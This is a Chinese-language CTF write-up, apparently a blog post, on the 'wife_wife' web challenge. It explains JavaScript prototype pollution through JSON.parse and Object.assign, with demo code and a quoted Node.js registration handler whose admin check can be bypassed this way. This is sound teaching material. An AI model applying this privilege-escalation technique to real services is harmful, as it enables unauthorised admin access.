目錄
步驟1:峰回路轉(zhuǎn)
步驟2:JavaScript原型鏈污染
步驟3:fuzz測(cè)試
總結(jié):題目意義
步驟1:峰回路轉(zhuǎn)
對(duì)英語無感的我一開始沒看到有個(gè)注冊(cè)的提示,還以為暴力破解,看了一下題目才知道不需要暴力破解
來到注冊(cè)頁面 ,就發(fā)現(xiàn)有點(diǎn)吊了,is admin可以勾選,居然能注冊(cè)管理員,有點(diǎn)搞笑,不切實(shí)際,正經(jīng)實(shí)戰(zhàn)的話哪來這功能?
那么懷疑點(diǎn)其實(shí)就應(yīng)該放在這里,畢竟有管理員權(quán)限相當(dāng)于無敵,通常邏輯都是要靠管理員權(quán)限才能拿到flag
?第一次沒勾選,直接注冊(cè),然后登錄,就拿到了flag,去試了試flag
?
?flag是假的,被騙了,果然需要去懟admin才行
步驟2:JavaScript原型鏈污染
后來也沒做出來,去看了別人的wp才知道是JavaScript原型鏈污染攻擊
造成這個(gè)漏洞的有一個(gè)很重要的前提,這題目的后端是node.js來寫的,也就是說后端不是php服務(wù)器,不是java服務(wù)器,而是JavaScript服務(wù)器
因?yàn)槭荍avaScript語言來處理后端+用JavaScript的那個(gè)函數(shù)來處理,所以才有這個(gè)漏洞產(chǎn)生
JavaScript原型鏈污染詳細(xì)學(xué)習(xí)鏈接在此:JavaScript 原型鏈污染 | Drunkbaby's Blog
我們來看最重要的部分,如果是在代碼中正常生成的對(duì)象,是沒有污染了
baseUser = {
a:1
}
user = {
a:2,
b:1,
__proto__:{
c:3
}
}
// 這個(gè)函數(shù)的作用:淺復(fù)制一個(gè)對(duì)象,第一個(gè)參數(shù)位是對(duì)象的內(nèi)容,后面的參數(shù)位是多個(gè)對(duì)象內(nèi)容疊加進(jìn)去,進(jìn)行復(fù)制出一個(gè)全新的對(duì)象
let newUser = Object.assign({}, baseUser, user)
// 無污染,結(jié)果正常
console.log(newUser) // {a: 2, b: 1}
// 無污染,結(jié)果正常
console.log(newUser.__proto__) // {constructor: ?, __defineGetter__: ?, __defineSetter__: ?, hasOwnProperty: ?, __lookupGetter__: ?, …}
可問題是,后端服務(wù)器是JavaScript,我們通過post發(fā)送過去的 json是字符串,JavaScript需要通過JSON.parse()函數(shù)才能把 json字符串轉(zhuǎn)成對(duì)象
baseUser = {
a:1
}
// 這次使用函數(shù)把json字符串轉(zhuǎn)成對(duì)象,就出問題了,
user = JSON.parse(' {"a" : 2 , "b" : 3 , "__proto__" : { "c" : 4 }} ')
// 這個(gè)函數(shù)的作用:淺復(fù)制一個(gè)對(duì)象,第一個(gè)參數(shù)位是對(duì)象的內(nèi)容,后面的參數(shù)位是多個(gè)對(duì)象內(nèi)容疊加進(jìn)去,進(jìn)行復(fù)制出一個(gè)全新的對(duì)象
let newUser = Object.assign({}, baseUser, user)
console.log(newUser) // {a: 2, b: 1} ,__proto__是隱藏屬性,是不會(huì)直接顯示的
console.log(newUser.__proto__) // {c: 4} ,但是一打印就出來了
console.log(newUser.c) // 4 ,已經(jīng)被污染了,這個(gè)屬性是一直存在的
大家可以自行復(fù)制粘貼去試試
步驟3:fuzz測(cè)試
看wp源代碼才知道,這個(gè)后端是沒有數(shù)據(jù)庫(kù)的,sql注入就別想了
我們來看看代碼講什么,每一行我都寫注釋了
// post請(qǐng)求的路徑
app.post('/register', (req, res) => {
let user = JSON.parse(req.body) // 把我們輸入的賬號(hào)密碼,從json字符串轉(zhuǎn)成對(duì)象
// 判斷我們有沒有輸入賬號(hào)和密碼
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
// 判斷賬號(hào)是否存在總對(duì)象的username里,如果相同的username就是重復(fù)用戶名了
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
// isAdmin是否true 與 邀請(qǐng)碼是不是等于這個(gè)常量,所以sql注入沒用,邀請(qǐng)碼是個(gè)常量
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
// 使用系統(tǒng)函數(shù)復(fù)制對(duì)象,打包成一個(gè)新的對(duì)象
let newUser = Object.assign({}, baseUser, user)
users.push(newUser) // 存到總對(duì)象里
res.json({ msg: 'user created successfully', err: false }) // 設(shè)置返回信息
})
看了這部分源碼能判斷出,如果這個(gè)登陸的對(duì)象里,isAdmin的屬性是true,那就證明是一個(gè)管理員,如果是普通注冊(cè)的用戶,isAdmin屬性是false
那么直接污染即可
?注冊(cè)了管理員賬號(hào)后,進(jìn)去之后的flag也變了,這次flag才是真的
?但這在比賽的時(shí)候是沒有源碼給你看的,所以應(yīng)該是相當(dāng)?shù)碾y,需要fuzz測(cè)試文章來源:http://www.zghlxwxcb.cn/news/detail-731119.html
總結(jié):題目意義
我暫時(shí)沒搞明白這題目意義何在,好像跟實(shí)戰(zhàn)有點(diǎn)偏離的太遠(yuǎn)了,用JavaScript服務(wù)器來處理登錄?賬號(hào)密碼不存放數(shù)據(jù)庫(kù)?存緩存里?能讓所有人注冊(cè)管理員賬號(hào)?太扯淡了文章來源地址http://www.zghlxwxcb.cn/news/detail-731119.html
到了這里,關(guān)于【web | CTF】攻防世界 wife_wife的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!